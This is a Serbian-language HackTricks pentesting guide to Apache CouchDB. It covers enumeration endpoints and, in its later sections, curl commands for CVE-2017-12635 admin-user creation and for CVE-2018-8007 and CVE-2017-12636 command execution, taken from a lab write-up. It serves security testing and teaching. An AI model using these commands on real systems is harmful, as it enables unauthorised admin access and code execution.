# 5984,6984 - Pentestiranje CouchDB
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
## **Osnovne informacije** **CouchDB** je svestrana i moćna **dokument-orientisana baza podataka** koja organizuje podatke koristeći strukturu **ključ-vrednost** unutar svakog **dokumenta**. Polja unutar dokumenta mogu biti predstavljena kao **ključ/vrednost parovi, liste ili mape**, pružajući fleksibilnost u skladištenju i dohvatanju podataka. Svaki **dokument** koji se čuva u CouchDB-u dobija jedinstveni identifikator (`_id`) na nivou dokumenta. Pored toga, svaka izmena koja se napravi i sačuva u bazi podataka dobija broj revizije (`_rev`). Ovaj broj revizije omogućava efikasno **praćenje i upravljanje promenama**, olakšavajući jednostavno dohvatanje i sinhronizaciju podataka unutar baze podataka. **Podrazumevani port:** 5984(http), 6984(https) ``` PORT STATE SERVICE REASON 5984/tcp open unknown syn-ack ``` ## **Automatsko nabrajanje** ```bash nmap -sV --script couchdb-databases,couchdb-stats -p msf> use auxiliary/scanner/couchdb/couchdb_enum ``` ### Baner Kada se bavite pentestiranjem CouchDB baze podataka, prvi korak je da identifikujete baner. Baner je informacija koja se prikazuje prilikom uspostavljanja veze sa CouchDB serverom. Ova informacija može biti korisna za identifikaciju verzije CouchDB-a koji se koristi, kao i za pronalaženje potencijalnih ranjivosti. Da biste pronašli baner, možete koristiti alate kao što su `telnet` ili `nc` (netcat) kako biste se povezali sa CouchDB serverom na odgovarajućem portu (obično 5984). Nakon uspostavljanja veze, server će vam prikazati baner informaciju. Na primer, možete koristiti sledeću komandu da biste se povezali sa CouchDB serverom i prikazali baner: ```plaintext $ telnet 5984 ``` Nakon uspešne konekcije, server će prikazati baner informaciju koja će izgledati otprilike ovako: ```plaintext Trying ... Connected to . Escape character is '^]'. {"couchdb":"Welcome","version":"2.3.1","git_sha":"c298091a4","uuid":"a3e4b5c6-d7e8-f9g0-h1i2-j3k4l5m6n7o8","features":["pluggable-storage-engines","scheduler"],"vendor":{"name":"The Apache Software Foundation"}} ``` U ovom primeru, baner informacija pokazuje da se koristi CouchDB verzija 2.3.1 i da je vendor Apache Software Foundation. Ova informacija može biti korisna za dalje istraživanje i identifikaciju potencijalnih ranjivosti u CouchDB bazi podataka. ``` curl http://IP:5984/ ``` Ovo izdaje GET zahtev instaliranoj CouchDB instanci. Odgovor bi trebao izgledati nešto poput jednog od sledećih: ```bash {"couchdb":"Welcome","version":"0.10.1"} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} ``` {% hint style="info" %} Imajte na umu da ako pristupate korenu CouchDB-a i dobijete `401 Unauthorized` sa nečim poput ovoga: `{"error":"unauthorized","reason":"Authentication required."}` **nećete moći pristupiti** baneru ili bilo kojem drugom endpointu. {% endhint %} ### Info Enumeracija Ovo su endpointi do kojih možete pristupiti sa **GET** zahtevom i izvući neke zanimljive informacije. Možete pronaći [**više endpointa i detaljnije opise u dokumentaciji za couchdb**](https://docs.couchdb.org/en/latest/api/index.html). * **`/_active_tasks`** Lista pokrenutih zadataka, uključujući vrstu zadatka, ime, status i ID procesa. * **`/_all_dbs`** Vraća listu svih baza podataka u instanci CouchDB-a. * **`/_cluster_setup`** Vraća status čvora ili klastera, prema čarobnjaku za podešavanje klastera. * **`/_db_updates`** Vraća listu svih događaja baze podataka u instanci CouchDB-a. Postojanje baze podataka `_global_changes` je potrebno za korišćenje ovog endpointa. * **`/_membership`** Prikazuje čvorove koji su deo klastera kao `cluster_nodes`. Polje `all_nodes` prikazuje sve čvorove koje ovaj čvor poznaje, uključujući one koji su deo klastera. * **`/_scheduler/jobs`** Lista poslova replikacije. Svaki opis posla će uključivati informacije o izvoru i odredištu, ID replikacije, istoriju nedavnih događaja i još neke stvari. * **`/_scheduler/docs`** Lista stanja replikacijskih dokumenata. Uključuje informacije o svim dokumentima, čak i u `completed` i `failed` stanjima. Za svaki dokument vraća ID dokumenta, bazu podataka, ID replikacije, izvor i odredište, i druge informacije. * **`/_scheduler/docs/{replicator_db}`** * **`/_scheduler/docs/{replicator_db}/{docid}`** * **`/_node/{node-name}`** Endpoint `/_node/{node-name}` se može koristiti za potvrdu Erlang imena čvora servera koji obrađuje zahtev. Ovo je najkorisnije kada pristupate `/_node/_local` da biste dobili ove informacije. * **`/_node/{node-name}/_stats`** Resurs `_stats` vraća JSON objekat koji sadrži statistike za pokrenuti server. Doslovni string `_local` služi kao alias za lokalno ime čvora, pa se za sve URL-ove statistika, `{node-name}` može zameniti sa `_local`, da bi se interagiralo sa statistikama lokalnog čvora. * **`/_node/{node-name}/_system`** Resurs \_system vraća JSON objekat koji sadrži razne statistike na nivou sistema za pokrenuti server\_.\_ Možete koristiti \_\_`_local` kao {node-name} da biste dobili trenutne informacije o čvoru. * **`/_node/{node-name}/_restart`** * **`/_up`** Potvrđuje da je server pokrenut, radi i spreman da odgovori na zahteve. Ako je [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` ili `nolb`, endpoint će vratiti odgovor 404. * **`/_uuids`** Zahteva jedan ili više univerzalno jedinstvenih identifikatora (UUID) iz instance CouchDB-a. * **`/_reshard`** Vraća broj završenih, neuspešnih, pokrenutih, zaustavljenih i ukupnih poslova, zajedno sa stanjem reshardinga na klasteru. Više zanimljivih informacija može se izvući kako je objašnjeno ovde: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) ### **Lista baza podataka** ``` curl -X GET http://IP:5984/_all_dbs ``` Ako taj zahtev odgovori sa **401 unauthorised**, onda vam trebaju **validni pristupni podaci** da biste pristupili bazi podataka: ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` Da biste pronašli važeće akreditive, možete **pokušati** [**bruteforce uslugu**](../generic-methodologies-and-resources/brute-force.md#couchdb). Ovo je **primer** odgovora couchdb-a kada imate **dovoljno privilegija** da navedete baze podataka (To je samo lista baza podataka): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` ### Informacije o bazi podataka Možete dobiti neke informacije o bazi podataka (kao što su broj datoteka i veličine) pristupanjem imenu baze podataka: ```bash curl http://IP:5984/ curl http://localhost:5984/simpsons #Example response: {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} ``` ### **Lista dokumenata** Izlistajte svaki unos unutar baze podataka ```bash curl -X GET http://IP:5984/{dbname}/_all_docs curl http://localhost:5984/simpsons/_all_docs #Example response: {"total_rows":7,"offset":0,"rows":[ {"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}}, {"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}}, {"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}}, {"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}}, {"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}}, {"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}}, {"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}} ]} ``` ### **Čitanje dokumenta** Pročitajte sadržaj dokumenta unutar baze podataka: ```bash curl -X GET http://IP:5984/{dbname}/{id} curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 #Example response: {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} ``` ## CouchDB Eskalacija privilegija [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) Zahvaljujući razlikama između Erlang i JavaScript JSON parsera, moguće je **kreirati admin korisnika** sa pristupnim podacima `hacktricks:hacktricks` pomoću sledećeg zahteva: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` [**Više informacija o ovoj ranjivosti ovde**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). ## CouchDB RCE ### **Pregled sigurnosti Erlang kolačića** Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). U dokumentaciji za CouchDB, posebno u delu koji se odnosi na podešavanje klastera ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), razmatra se upotreba portova od strane CouchDB u režimu klastera. Pomenuto je da se, kao i u samostalnom režimu, koristi port `5984`. Dodatno, port `5986` je namenjen lokalnim API-ima čvora, a važno je da Erlang zahteva TCP port `4369` za Erlang Port Mapper Daemon (EPMD), koji omogućava komunikaciju čvorova unutar Erlang klastera. Ova konfiguracija formira mrežu u kojoj su svi čvorovi međusobno povezani. Naglašena je ključna sigurnosna preporuka u vezi sa portom `4369`. Ako je ovaj port dostupan preko interneta ili bilo koje nepouzdane mreže, sigurnost sistema u velikoj meri zavisi od jedinstvenog identifikatora poznatog kao "kolačić". Ovaj kolačić deluje kao zaštita. Na primer, u datom listi procesa može se primetiti kolačić nazvan "monster", što ukazuje na njegovu operativnu ulogu u okviru sigurnosnog okvira sistema. ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` Za one koji su zainteresovani da razumeju kako se ovaj "kolačić" može iskoristiti za daljinsko izvršavanje koda (RCE) u kontekstu Erlang sistema, dostupan je poseban odeljak za dalje čitanje. Detaljno se opisuju metodologije za zloupotrebu Erlang kolačića na neovlašćene načine radi preuzimanja kontrole nad sistemima. Možete **[istražiti detaljan vodič o zloupotrebi Erlang kolačića za RCE ovde](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**. ### **Iskorišćavanje CVE-2018-8007 putem izmene local.ini** Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). Istražena je nedavno otkrivena ranjivost, CVE-2018-8007, koja utiče na Apache CouchDB, otkrivajući da za eksploataciju treba imati dozvole za pisanje u datoteku `local.ini`. Iako se to direktno ne može primeniti na ciljni sistem zbog sigurnosnih ograničenja, izvršene su izmene kako bi se omogućio pristup pisanju u datoteku `local.ini` u svrhu istraživanja. Detaljni koraci i primeri koda su navedeni u nastavku, prikazujući proces. Prvo, okruženje se priprema tako što se osigura da je datoteka `local.ini` za pisanje, što se proverava listanjem dozvola: ```bash root@canape:/home/homer/etc# ls -l -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini -rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args ``` Da bi se iskoristila ranjivost, izvršava se curl komanda koja cilja konfiguraciju `cors/origins` u `local.ini` fajlu. Ovo ubacuje novi izvor zajedno sa dodatnim komandama pod sekcijom `[os_daemons]`, sa ciljem izvršavanja proizvoljnog koda: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` Naknadna verifikacija pokazuje ubačenu konfiguraciju u `local.ini`, upoređujući je sa rezervnom kopijom kako bi se istakle promene: ```bash root@canape:/home/homer/etc# diff local.ini local.ini.bk 119,124d118 < [cors] < origins = 0xdf < [os_daemons] < test_daemon = /usr/bin/touch /tmp/0xdf ``` Prvo, očekivani fajl (`/tmp/0xdf`) ne postoji, što ukazuje da ubačena komanda još uvek nije izvršena. Dalje istraživanje otkriva da su pokrenuti procesi povezani sa CouchDB-om, uključujući i jedan koji potencijalno može izvršiti ubačenu komandu: ```bash root@canape:/home/homer/bin# ps aux | grep couch ``` Prekidanjem identifikovanog CouchDB procesa i omogućavanjem automatskog ponovnog pokretanja sistema, pokreće se izvršavanje ubačene komande, što potvrđuje postojanje prethodno nedostajuće datoteke: ```bash root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` Ova istraživanja potvrđuju mogućnost iskorišćavanja CVE-2018-8007 pod određenim uslovima, posebno zahtevom za upisivanjem u `local.ini` datoteku. Priloženi primeri koda i proceduralni koraci pružaju jasno uputstvo za replikaciju napada u kontrolisanom okruženju. Za više detalja o CVE-2018-8007, pogledajte obaveštenje od strane mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). ### **Istraživanje CVE-2017-12636 sa dozvolama za pisanje na local.ini** Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). Istražena je ranjivost poznata kao CVE-2017-12636, koja omogućava izvršavanje koda putem CouchDB procesa, iako određene konfiguracije mogu sprečiti njeno iskorišćavanje. Uprkos brojnim dostupnim referencama Proof of Concept (POC) na internetu, potrebne su izmene kako bi se iskoristila ranjivost na CouchDB verziji 2, koja se razlikuje od često ciljane verzije 1.x. Početni koraci uključuju proveru verzije CouchDB i potvrdu odsustva očekivane putanje za upitne servere: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ ``` Da bi se prilagodio CouchDB verziji 2.0, koristi se nova putanja: ```bash curl 'http://0xdf:df@localhost:5984/_membership' curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers ``` Pokušaji dodavanja i pokretanja novog upitnog servera naišli su na greške vezane za dozvole, kako je naznačeno u sledećem izlazu: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` Dalje istraživanje je otkrilo problem sa dozvolama `local.ini` fajla, koji nije bio moguć za pisanje. Modifikacijom dozvola fajla uz pomoć root ili homer pristupa, postalo je moguće nastaviti: ```bash cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b chmod 666 /home/homer/etc/local.ini ``` Naredni pokušaji dodavanja upitnog servera su uspeli, što je potvrđeno nedostatkom poruka o greškama u odgovoru. Uspešna modifikacija `local.ini` datoteke je potvrđena poređenjem datoteka: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` Proces se nastavio sa kreiranjem baze podataka i dokumenta, a zatim je pokušan izvršetak koda putem prilagođenog prikaza koji se mapira na novo dodati serverski upit: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' ``` **[Sažetak](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** sa alternativnim payloadom pruža dalje uvide u iskorišćavanje CVE-2017-12636 pod određenim uslovima. **Korisni resursi** za iskorišćavanje ove ranjivosti uključuju: - [POC kôd za iskorišćavanje](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) - [Unos u Exploit Database-u](https://www.exploit-db.com/exploits/44913/) ## Shodan * `port:5984 couchdb` ## Reference * [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) * [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.